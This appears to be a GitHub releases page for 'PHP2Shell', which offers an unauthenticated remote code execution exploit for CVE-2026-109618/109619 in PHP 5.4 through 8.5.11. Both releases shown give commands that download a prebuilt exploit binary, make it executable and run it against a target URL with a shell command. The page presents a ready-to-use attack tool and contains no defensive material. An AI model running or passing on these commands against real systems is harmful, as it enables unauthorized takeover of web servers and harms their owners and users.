Skip to content

Releases: IamLucif3r/CVE-2026-109618-exploit

Release list

v1.1.0

Choose a tag to compare

@github-actions github-actions released this 28 Oct 18:05

PHP2Shell — v1.1.0

Unauthenticated RCE exploit for CVE-2026-109618 / CVE-2026-109619 (PHP 5.4 – 8.5.11).

Quick install

Linux (x86-64)

curl -Lo exploit https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/download/v1.1.0/exploit-linux-amd64
chmod +x exploit
./exploit -target http://TARGET -cmd "id"

macOS (Apple Silicon)

curl -Lo exploit https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/download/v1.1.0/exploit-darwin-arm64
chmod +x exploit
./exploit -target http://TARGET -cmd "id"

See README for full usage.

v1.0.1

Choose a tag to compare

@github-actions github-actions released this 28 Oct 17:45

PHP2Shell — v1.0.1

Unauthenticated RCE exploit for CVE-2026-109618 / CVE-2026-109619 (PHP 5.4 – 8.5.11).

Quick install

Linux (x86-64)

curl -Lo exploit https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/download/v1.0.1/exploit-linux-amd64
chmod +x exploit
./exploit -target http://TARGET -cmd "id"

macOS (Apple Silicon)

curl -Lo exploit https://github.com/IamLucif3r/CVE-2026-109618-exploit/releases/download/v1.0.1/exploit-darwin-arm64
chmod +x exploit
./exploit -target http://TARGET -cmd "id"

See README for full usage.